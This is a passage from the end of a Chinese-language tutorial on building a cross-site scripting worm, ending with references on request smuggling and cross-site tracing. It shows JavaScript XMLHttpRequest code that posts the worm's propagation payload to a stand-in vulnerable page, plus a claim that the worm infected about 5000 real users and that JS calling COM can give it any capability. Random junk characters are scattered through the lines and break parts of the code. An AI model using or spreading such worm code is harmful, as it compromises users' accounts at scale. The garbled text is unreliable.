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' i) L3 `) }& p+ r( e4 ZxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);$ f/ M8 I" L' E' y/ M+ e
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");" j; a+ K% x3 k. l/ V
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xmlHttpReq.send(post); //把传播的信息 POST出去.4 q4 `/ w! h( U8 H3 L. L v( t
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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' {7 m+ V! \; ?8 s本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
1 E2 T: ~ n2 s) d o ]蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
( q0 k% L& c7 M0 _- X操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.8 e: x- [" }9 K' Y6 x
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- z* v6 J, y9 @$ p$ D本文引用文档资料:
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3 K6 c) X! N' I1 X+ v"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005); u# p4 \' u' v' _5 d
Other XmlHttpRequest tricks (Amit Klein, January 2003)& h0 q0 n) z6 n' b0 _# e2 Y$ }9 r* }7 B
"Cross Site Tracing" (Jeremiah Grossman, January 2003) m! N+ Y) f n p6 _
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
x% O) m0 N K# J6 I+ @$ q# g空虚浪子心BLOG http://www.inbreak.net- X( ?8 s" L2 h5 R1 d8 Q* E
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